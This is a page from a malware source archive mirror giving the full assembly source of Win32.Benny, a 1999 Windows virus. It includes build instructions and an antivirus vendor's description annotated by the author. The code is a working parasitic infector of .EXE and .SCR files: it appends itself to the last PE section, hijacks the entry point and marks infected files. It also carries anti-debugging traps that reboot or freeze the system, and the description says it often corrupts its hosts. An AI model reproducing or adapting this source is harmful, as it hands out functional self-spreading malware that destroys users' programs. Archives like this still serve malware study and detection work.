13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Win32/Win32.Benny.asm
2020-10-10 22:07:43 -05:00

995 lines
22 KiB
NASM

;-------------------------------------;
; Win32.Benny (c) 1999 by Benny ;
;-------------------------------------;
;
;
;
;Author's description
;---------------------
;
;Welcome to my second Win32 virus! Don't expect any new things, I only
;present u my last lame virus. Here is it...
;
;Features:
;----------
; - Win32 infector
; - appends to the last section (usualy .reloc)
; - "already infected" mark as my spec. 64bit checksum.
; - no use of absolute addresses, gets GetModuleHandleA API from IAT
; - compressed (API strings only)
; - using memory mapped files for smarter handling of 'em
; - direct action
; - nonencrypted
; - armoured (using SEH), TD32 fails
;
;Targets:
;---------
; - *.EXE
; - *.SRC
;
;How to build:
;--------------
; - tasm32 -ml -q -m4 benny.asm
; tlink32 -Tpe -c -x -aa -r benny,,, import32
; pewrsec benny.exe
;
;
;
;AVP's description
;------------------
;
;Benny's notes r in "[* *]".
;
;
;This is a direct action (nonmemory resident) parasitic [* compressed *] Win32
;virus. It searches for PE EXE files in the Windows, Windows system and current
;directories [* shit! It DOESN'T infect Windows/System directories! *], then
;writes itself to the end of the file. The virus has bugs and in many cases
;corrupts files while infecting them [* Sorry, this is my last lame virus *].
;The virus checks file names and does not infect the files: RUNDLL32.EXE,
;TD32.EXE, TLINK32.EXE, TASM32.EXE [* and NTVDM.EXE *]. While infecting the
;virus increases the size of last file section, writes itself to there and
;modifies necessary PE header fields including program startup address.
;
;The virus contains the "copyright" string:
;
; Win32.Benny (c) 1999 by Benny
;
;
;
;And here is that promised babe:
.386p ;386 instructions
.model flat ;32bit offset, no segments
include PE.inc ;include some useful files
include MZ.inc
include Useful.inc
include Win32api.inc
nFile = 1 ;constants for decompress stage
nGet = 2
nSet = 3
nModule = 4
nHandle = 5
nCreate = 6
nFind = 7
nFirst = 8
nNext = 9
nClose = 10
nViewOf = 11
nDirectoryA = 12
nEXE = 13
extrn GetModuleHandleA:PROC ;APIs needed by first generation
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
db ? ;shut up, tlink32 !
ends
.code
Start_Virus:
pushad ;save all regs
call gdelta
ve_strings: ;compressed APIs
veszKernel32 db 'KERNEL32', 0
veszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0
veszGetVersion db nGet, 'Version', 0
veszIsDebuggerPresent db 'IsDebuggerPresent', 0
veszCreateFileA db nCreate, nFile, 'A', 0
veszFindFirstFileA db nFind, nFirst, nFile, 'A', 0
veszFindNextFileA db nFind, nNext, nFile, 'A', 0
veszFindClose db nFind, nClose, 0
veszSetFileAttributesA db nSet, nFile, 'AttributesA', 0
veszCloseHandle db nClose, nHandle, 0
veszCreateFileMappingA db nCreate, nFile, 'MappingA', 0
veszMapViewOfFile db 'Map', nViewOf, nFile, 0
veszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0
veszSetFilePointer db nSet, nFile, 'Pointer', 0
veszSetEndOfFile db nSet, 'EndOf', nFile, 0
veszSetFileTime db nSet, nFile, 'Time', 0
veszGetWindowsDirectoryA db nGet, 'Windows', nDirectoryA, 0
veszGetSystemDirectoryA db nGet, 'System', nDirectoryA, 0
veszGetCurrentDirectoryA db nGet, 'Current', nDirectoryA, 0, 0
veszExe db '*', nEXE, 0
veszScr db '*.SCR', 0
veszNames db 'NTVDM', nEXE, 0 ;files, which we wont
db 'RUNDLL32', nEXE, 0 ;infect
db 'TD32', nEXE, 0
db 'TLINK32', nEXE, 0
db 'TASM32', nEXE, 0
vszNumberOfNamez = 5
end_ve_stringz db 0ffh ;end of compressed
;strings
string_subs: ;string substitutes
db 'File', 0
db 'Get', 0
db 'Set', 0
db 'Module', 0
db 'Handle', 0
db 'Create', 0
db 'Find', 0
db 'First', 0
db 'Next', 0
db 'Close', 0
db 'ViewOf', 0
db 'DirectoryA', 0
db '.EXE', 0
num = 14 ;number of 'em
gdelta: ;get delta offset
mov esi, [esp]
mov ebp, esi
sub ebp, offset ve_strings
lea edi, [ebp + v_strings]
next_ch:lodsb ;decompressing stage
test al, al
je copy_b
cmp al, 0ffh
je end_unpacking
cmp al, num+1
jb packed
copy_b: stosb
jmp next_ch
packed: push esi
lea esi, [ebp + string_subs]
mov cl, 1
mov dl, al
lodsb
packed2:test al, al
je _inc_
packed3:cmp cl, dl
jne un_pck
p_cpy: stosb
lodsb
test al, al
jne p_cpy
pop esi
jmp next_ch
un_pck: lodsb
test al, al
jne packed3
_inc_: inc ecx
jmp un_pck
seh_fn: @SEH_RemoveFrame ;remove exception frame
popad ;heal stack
call [ebp + MyGetVersion] ;get version of windoze
cmp eax, 80000000h ;WinNT ?
jb NT_debug_trap
cmp ax, 0a04h ;Win95 ?
jb seh_rs
call IsDebugger ;Win98, check, if debugger active
jecxz seh_rs ;no, continue
mov eax, 909119cdh ;yeah, reboot system
jmp $ - 4
NT_debug_trap:
call IsDebugger ;WinNT, check, if debugger active
jecxz seh_rs ;no, continue
xor esp, esp ;yeah, freeze app
IsDebugger:
call [ebp + MyIsDebuggerPresent] ;call checkin API
xchg eax, ecx
ret
quit: pop eax
mov eax, [ebp + OrigEPoint] ;get original entrypoint rva
sub eax, -400000h ;make it raw pointer
mov [esp.Pushad_eax], eax
popad
jmp eax ;jump to host
end_unpacking:
lea edx, [ebp + vszKernel32] ;KERNEL32
push edx
mov edx, [ebp + MyGetModuleHandleA] ;GetModuleHandleA API
call [edx] ;get module of kernel32
xchg eax, ecx
jecxz quit ;shit, not found, jump to host
xchg ecx, ebx
lea edi, [ebp + Virus_End] ;get addresses of APIs
lea esi, [ebp + f_names]
GetAPIAddress:
call MyGetProcAddress
jecxz quit
xchg eax, ecx
stosd
@endsz
cmp byte ptr [esi], 0
jne GetAPIAddress
pushad ;now, we have all APIs, we can check
@SEH_SetupFrame ;for debugger
inc dword ptr gs:[edx] ;raise exception
;now, we continue at seh_fn label
seh_rs: lea esi, [ebp + PathName] ;debugger not present, continue
push esi
push esi
push 256
call [ebp + MyGetCurrentDirectoryA] ;get current directory
pop ebx
push 256
lea edi, [ebp + WindowsPath]
push edi
call [ebp + MyGetWindowsDirectoryA] ;get windows directory
Next_Char:
cmpsb ;compare directories
jmp_patch:
jne NoMatch ;this jump will be path in next check
jne Try_Process_Dir ;jump for next check fail
Matched_Char:
cmp byte ptr [esi - 1], 0 ;end of string ?
jne Next_Char
jmp quit
NoMatch: ;check for system directory
push 256
lea edi, [ebp + WindowsPath]
push edi
call [ebp + MyGetSystemDirectoryA]
mov word ptr [ebp + jmp_patch], 9090h ;patch jump
mov esi, ebx
jmp Next_Char
Try_Process_Dir:
call FindFirstFile ;we arnt in \windoze or \system dir, find file
inc eax ;success ?
je Try_Scr ;nope, try SCRs
dec eax
process_dir_check:
call CheckFileName ;check name
jnc Infect_File ;ok, infect file
call FindNextFile ;nope, find next file
test eax, eax
jne process_dir_check ;ok, check name
Try_Scr:
call FindClose ;find previous searchin
lea edx, [ebp + Win32_Find_Data]
push edx
lea edx, [ebp + vszScr]
push edx
call [ebp + MyFindFirstFileA] ;find first SCR
inc eax
je quit ;no files left, jump to host
dec eax
Infect_File:
;Check size
xor ecx, ecx
lea ebx, [ebp + Win32_Find_Data]
test byte ptr [ebx], FILE_ATTRIBUTE_DIRECTORY
jne end_size_check ;discard directories
cmp [ebx.WFD_nFileSizeHigh], ecx ;discard huge files
jne end_size_check
mov edi, [ebx.WFD_nFileSizeLow]
lea esi, [ebx.WFD_szFileName]
cmp edi, 16 * 1024 ;discard small files
jb end_size_check
cmp edi, 64000 * 1024
jg end_size_check ;discard huge files
push ecx ;blank file attributez
push esi
call [ebp + MySetFileAttributesA]
test eax, eax
je end_size_check
push edi ;open and map file
sub edi, Start_Virus - Virtual_End
call Open&MapFile
pop edi
test ecx, ecx
je end_SetFileAttributez
cmp word ptr [ecx], 'ZM' ;Check PE-header
jne Close&UnmapFile
xchg eax, edx
mov edx, [ecx.MZ_lfanew]
cmp eax, edx
jb CloseFile
add edx, ecx
cmp dword ptr [edx], 'EP'
jne CloseFile
movzx eax, word ptr [edx.NT_FileHeader.FH_Machine]
cmp ax, 14ch ;must be 386+
jne CloseFile
mov ebx, ecx
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections]
cmp ecx, 3
jb CloseFile ;at least 3 sections
mov ax, word ptr [edx.NT_FileHeader.FH_Characteristics]
not al
test ax, 2002h ;executable, but not DLL
jne CloseFile
cmp dword ptr [edx.NT_OptionalHeader.OH_ImageBase], 64*65536 ;image base only 400000h
jne CloseFile
lea eax, [ebp + vszGetModuleHandleA]
mov ecx, ebx
lea edx, [ebp + vszKernel32]
call GetProcAddressIT ;find GetModuleHandleA API entry
test eax, eax
je CloseFile
lea edx, [ebp + MyGetModuleHandleA]
sub eax, -400000h
mov [edx], eax ;save that entry
pushad ;load 64bit checksum
push ebx
mov esi, ebx
sub esi, -MZ_res2
lodsd
mov ebx, eax
lodsd
mov edi, eax
pop esi
push esi
push ebp
mov eax, [ebp + Win32_Find_Data.WFD_nFileSizeLow]
sub esi, -MZ_res2 - 8
mov ebp, 8
cdq
div ebp
cdq
mul ebp
pop ebp
mov ecx, eax
call Checksum64 ;generate new 64bit checksum
pop esi ;and compare checksums
cmp ebx, edx
jne n_Infect
cmp edi, eax
je CloseFile
n_Infect:
popad
push ecx
push ecx
mov edx, [ecx.MZ_lfanew]
add edx, ecx
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
mov edi, esi ;get LAST section
xor eax, eax
push ecx
BSection:
cmp [edi.SH_PointerToRawData], eax
je NBiggest
mov ebx, ecx
mov eax, [edi.SH_PointerToRawData]
NBiggest:
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
loop BSection
pop ecx
sub ecx, ebx
push edx
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
pop edx
add esi, eax
mov edi, dword ptr [esi.SH_SizeOfRawData]
mov eax, Virtual_End - Start_Virus
push edi
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
push dword ptr [edi]
add [edi], eax
mov eax, [edi]
push edx
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
xor edx, edx
div ecx
xor edx, edx
inc eax
mul ecx
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
mov ecx, eax
pop edx
pop ebx
add ebx, [esi.SH_VirtualAddress]
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
pop edi
push eax
mov eax, [ebp + OrigEPoint]
pop [ebp + OrigEPoint]
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebx
sub ecx, edi
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
pop edi
add edi, [esi.SH_PointerToRawData]
add edi, [esi.SH_VirtualSize]
add edi, Start_Virus - Virtual_End
lea esi, [ebp + Start_Virus]
mov ecx, (Virus_End - Start_Virus + 3) / 4
rep movsd ;copy virus
mov [ebp + OrigEPoint], eax ;restore variable after copy stage
jmp CloseFileOK
CloseFile:
call Close&UnmapFile ;unmap view of file
jmp end_SetFileAttributez ;and restore attributes
CloseFileOK:
pop esi
push esi
push ebx
push ebp
mov ebp, 8
mov ebx, MZ_res2 + 8
add esi, ebx
mov ecx, ebp
mov eax, edi
add eax, ebx
sub eax, esi
cdq
div ecx
cdq
imul ecx, eax, 8
call Checksum64 ;generate new 64bit checksum as "already infected" mark
sub esi, ebp
mov [esi], edx ;store it to MZ.MZ_res2 field
mov [esi+4], eax
pop ebp
pop ebx
pop esi
sub edi, esi
mov [ebp + Win32_Find_Data.WFD_nFileSizeLow], edi ;correct file size for unmapping
call Close&UnmapFile ;unmap view of file
end_SetFileAttributez:
push dword ptr [ebp + Win32_Find_Data] ;restore attributes
push esi
call [ebp + MySetFileAttributesA]
end_size_check:
call FindNextFile ;find next file
test eax, eax
jne next_file ;weve got one, check that
call FindClose ;nope, close search handle
jmp quit ;and jump to host
next_file:
call CheckFileName ;check file name
jnc Infect_File ;ok, infect it
jmp end_size_check ;nope, try next file
CheckFileName proc ;check file name
lea edi, [ebp + Win32_Find_Data.WFD_szFileName]
lea esi, [ebp + vszNamez]
mov ecx, vszNumberOfNamez
mov edx, edi
Ext_Next_Char:
@endsz
mov edi, edx
Ext_Next_Char2:
cmpsb
je Ext_Matched_Char
inc eax
loop Ext_Next_Char
clc
ret
Ext_Matched_Char:
cmp byte ptr [esi - 1], 0
jne Ext_Next_Char2
stc
end_Ext_Checking:
ret
CheckFileName EndP
FindFirstFile proc ;find first file procedure
lea edx, [ebp + Win32_Find_Data]
push edx
lea edx, [ebp + vszExe]
push edx
call [ebp + MyFindFirstFileA]
mov [ebp + SearchHandle], eax
ret
FindFirstFile EndP
FindNextFile proc ;find next file procedure
lea edx, [ebp + Win32_Find_Data]
push edx
push dword ptr [ebp + SearchHandle]
call [ebp + MyFindNextFileA]
ret
FindNextFile EndP
FindClose proc ;find close procedure
push dword ptr [ebp + SearchHandle]
call [ebp + MyFindClose]
ret
FindClose EndP
Open&MapFile proc ;open and map file procedure
xor eax, eax
push eax ;NULL
push eax ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push eax ;NULL
push 1 ;FILE_SHARE_READ
push 0c0000000h ;GENERIC_READ | GENERIC_WRITE
push esi ;pszFileName
call [ebp + MyCreateFileA] ;open
cdq
inc eax
je end_Open&MapFile
dec eax
mov [ebp + hFile], eax
push edx ;NULL
push edi ;file size
push edx ;0
push 4 ;PAGE_READWRITE
push edx ;NULL
push eax ;handle
call [ebp + MyCreateFileMappingA] ;create mapping object
cdq
xchg ecx, eax
jecxz end_Open&MapFile2
mov [ebp + hMapFile], ecx
push edx ;0
push edx ;0
push edx ;0
push 2 ;FILE_MAP_WRITE
push ecx ;handle
call [ebp + MyMapViewOfFile] ;map file to address space of app
mov ecx, eax
jecxz end_Open&MapFile3
mov [ebp + lpFile], ecx
end_Open&MapFile:
mov ecx, eax
ret
Open&MapFile EndP
Close&UnmapFile proc ;close and unmap file procedure
push dword ptr [ebp + lpFile]
call [ebp + MyUnmapViewOfFile] ;unmap file
end_Open&MapFile3:
push dword ptr [ebp + hMapFile]
call [ebp + MyCloseHandle] ;close mapping object
end_Open&MapFile2:
mov ebx, [ebp + hFile]
cdq ;xor edx, edx
push edx ;FILE_BEGIN
push edx ;0 - high offset
push dword ptr [ebp + Win32_Find_Data.WFD_nFileSizeLow]
push ebx
call [ebp + MySetFilePointer]
push ebx
call [ebp + MySetEndOfFile] ;truncate file
lea edx, [ebp + Win32_Find_Data.WFD_ftLastWriteTime]
push edx
lea edx, [ebp + Win32_Find_Data.WFD_ftLastAccessTime]
push edx
lea edx, [ebp + Win32_Find_Data.WFD_ftCreationTime]
push edx
push ebx
call [ebp + MySetFileTime] ;restore time
push ebx
call [ebp + MyCloseHandle] ;and finally close file
ret
Close&UnmapFile EndP
;procedure for exploring modules export table
MyGetProcAddress proc ;input:
;ebx - module address
;esi - pointer to API name
;output:
;ecx - address of GetProcAddress at memory
push ebx
push edi
push esi
push ebp
@SEH_SetupFrame
mov eax, ebx
add eax, [eax.MZ_lfanew]
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz Proc_Address_not_found
mov ebp, ebx
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
push ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfNames]
mov ecx, [ebp.ED_NumberOfNames]
xor eax, eax
Search_for_API_name:
mov edi, [esp + 16]
mov esi, ebx
add esi, [edx + eax * 4]
Next_Char_in_API_name:
cmpsb
jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:
xor eax, eax
jmp End_MyGetProcAddress
Matched_char_in_API_name:
cmp byte ptr [esi-1], 0
jne Next_Char_in_API_name
pop ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfOrdinals]
movzx eax, word ptr [edx + eax * 2]
Check_Index:
cmp eax, [ebp.ED_NumberOfFunctions]
jae Proc_Address_not_found
mov edx, ebx
add edx, [ebp.ED_AddressOfFunctions]
add ebx, [edx + eax * 4]
mov eax, ebx
sub ebx, ebp
cmp ebx, ecx
jb Proc_Address_not_found
End_MyGetProcAddress:
@SEH_RemoveFrame
xchg eax, ecx
pop ebp
pop esi
pop edi
pop ebx
ret
MyGetProcAddress endp
;all beginners=> im so sorry, but I didnt have any time to comment this stuff.
GetProcAddressIT proc ;input:
;EAX - API name
;ECX - lptr to PE header
;EDX - module name
;output:
;EAX - RVA pointer to IAT, 0 if error
pushad
xor eax, eax
push ebp
mov ebp, ecx
lea esi, [ecx.MZ_lfanew]
add ebp, [esi]
mov esi, ebp
;RVA of Import table
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
mov ebp, ecx
push ecx
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea ebx, [esi.NT_OptionalHeader + ebx]
scan_sections:
mov edx, [ebx.SH_VirtualAddress]
cmp edx, eax
je section_found
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
loop scan_sections
pop ecx
pop eax
jmp End_GetProcAddressIT2
section_found:
mov ebx, [ebx + 20]
add ebx, ebp
pop ecx
pop eax
test ebx, ebx
je End_GetProcAddressIT2
xor esi, esi
xor ebp, ebp
push esi
dec ebp
Get_DLL_Name:
pop esi
inc ebp
mov edi, [esp + 20]
mov ecx, [ebx.esi.ID_Name] ;Name RVA
test ecx, ecx
je End_GetProcAddressIT2
sub ecx, edx
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push esi
lea esi, [ebx + ecx]
Next_Char_from_DLL:
lodsb
add al, -'.'
jz IT_nup
sub al, -'.' + 'a'
cmp al, 'z' - 'a' + 1
jae no_up
add al, -20h
no_up: sub al, -'a'
IT_nup: scasb
jne Get_DLL_Name
cmp byte ptr [edi-1], 0
jne Next_Char_from_DLL
Found_DLL_Name:
pop esi
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
jecxz End_GetProcAddressIT2
sub ecx, edx
add ecx, ebx
xor esi, esi
Next_Imported_Name:
push esi
mov edi, [esp + 32]
mov esi, [ecx + esi]
test esi, esi
je End_GetProcAddressIT3
sub esi, edx
add esi, ebx
lodsw
next_char:
cmpsb
jne next_step
cmp byte ptr [esi-1], 0
je got_it
jmp next_char
next_step:
pop esi
sub esi, -4
jmp Next_Imported_Name
got_it: pop esi
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
add ebx, ebp
mov eax, [ebx.ID_FirstThunk]
add eax, esi
mov [esp + 28], eax
jmp End_GetProcAddressIT
End_GetProcAddressIT3:
pop eax
End_GetProcAddressIT2:
xor eax, eax
mov [esp.Pushad_eax], eax
End_GetProcAddressIT:
popad
ret
GetProcAddressIT EndP
Checksum64 proc ;output:
; EDX:EAX - 64-bit checksum
push ebx ;save regs
push ecx
push edi
push esi
xor eax, eax ;nulify eax
cdq ;nulify edx
make_crc:
call crc_byte ;read 8 bytes
adc eax, ebx ;add LSD + CF to LSD
jnc @1
not eax ;invert LSD
@1: xor eax, edx ;rotate LSD LSB times
jp @2
call crc_rotate ;rotate LSD and MSD
@2: js crc_msd
sbb eax, edx ;sub LSD with MSD + CF
crc_msd:sbb edx, edi ;sub MSD with MSD + CF
jnp @3
not edx ;invert MSD
@3: xor edx, eax ;xor MSD with LSD
jns @4
call crc_rotate ;rotate LSD and MSD
@4: jc crc_loop
adc edx, eax ;add LSD to MSD + CF
crc_loop:
jp next_loop
call crc_swap ;swap bytes in LSD and MSD
next_loop:
dec eax ;decrement LSD
inc edx ;increment MSD
loop make_crc ;until ecx = 1
pop esi ;restore regs
pop edi
pop ecx
pop ebx
ret
crc_byte: ;read 8 bytes from source
push eax
lodsd ;load 4 bytes
mov ebx, eax ;ebx = new 4 bytes
lodsd ;load next 4 bytes
mov edi, eax ;edi = new 4 bytes
pop eax
add ecx, -7 ;correct ecx for loop
ret
crc_rotate: ;rotate LSD and MSD
push ecx
push edi
xor edi, eax ;xor MSD with LSD
mov ecx, edi ;count of rotations
pop edi
rcr eax, cl ;rotate LSD
push ebx
xor ebx, edx ;xor LSD with MSD
mov ecx, ebx ;count of rotations
pop ebx
rcl edx, cl ;rotate MSD
pop ecx
ret
crc_swap: ;swap bytes in LSD and MSD
xchg al, dh ;swap LSD and MSD lower bytes
xchg ah, dl ; ...
rol eax, 16 ;get highest bytes
rol edx, 16 ; ...
xchg al, dh ;swap LSD and MSD higher bytes
xchg ah, dl ; ...
xchg eax, edx ;and swap LSD with MSD
ret
db 'Win32.Benny (c) 1999 by Benny', 0 ;my mark
Checksum64 EndP
OrigEPoint dd offset host - 400000h
MyGetModuleHandleA dd offset _GetModuleHandleA
Virus_End:
MyGetVersion dd ?
MyIsDebuggerPresent dd ?
MyCreateFileA dd ?
MyFindFirstFileA dd ?
MyFindNextFileA dd ?
MyFindClose dd ?
MySetFileAttributesA dd ?
MyCloseHandle dd ?
MyCreateFileMappingA dd ?
MyMapViewOfFile dd ?
MyUnmapViewOfFile dd ?
MySetFilePointer dd ?
MySetEndOfFile dd ?
MySetFileTime dd ?
MyGetWindowsDirectoryA dd ?
MyGetSystemDirectoryA dd ?
MyGetCurrentDirectoryA dd ?
v_strings:
vszKernel32 db 'KERNEL32', 0
vszGetModuleHandleA db 'GetModuleHandleA', 0
f_names:
vszGetVersion db 'GetVersion', 0
vszIsDebuggerPresent db 'IsDebuggerPresent', 0
vszCreateFileA db 'CreateFileA', 0
vszFindFirstFileA db 'FindFirstFileA', 0
vszFindNextFileA db 'FindNextFileA', 0
vszFindClose db 'FindClose', 0
vszSetFileAttributesA db 'SetFileAttributesA', 0
vszCloseHandle db 'CloseHandle', 0
vszCreateFileMappingA db 'CreateFileMappingA', 0
vszMapViewOfFile db 'MapViewOfFile', 0
vszUnmapViewOfFile db 'UnmapViewOfFile', 0
vszSetFilePointer db 'SetFilePointer', 0
vszSetEndOfFile db 'SetEndOfFile', 0
vszSetFileTime db 'SetFileTime', 0
vszGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0
vszGetSystemDirectoryA db 'GetSystemDirectoryA', 0
vszGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0, 0
vszExe db '*.EXE', 0
vszScr db '*.SCR', 0
vszNamez db 'NTVDM.EXE', 0
db 'RUNDLL32.EXE', 0
db 'TD32.EXE', 0
db 'TLINK32.EXE', 0
db 'TASM32.EXE', 0
PathName db 256 dup (?)
WindowsPath db 256 dup (?)
Win32_Find_Data WIN32_FIND_DATA ?
SearchHandle dd ?
hFile dd ?
hMapFile dd ?
lpFile dd ?
Virtual_End:
_GetModuleHandleA dd offset GetModuleHandleA
host: push 1000h
push offset Msg
push offset Msg
push 0
call MessageBoxA
exit_h: push 0
call ExitProcess
Msg db 'First generation of Win32.Benny', 0
ends
End Start_Virus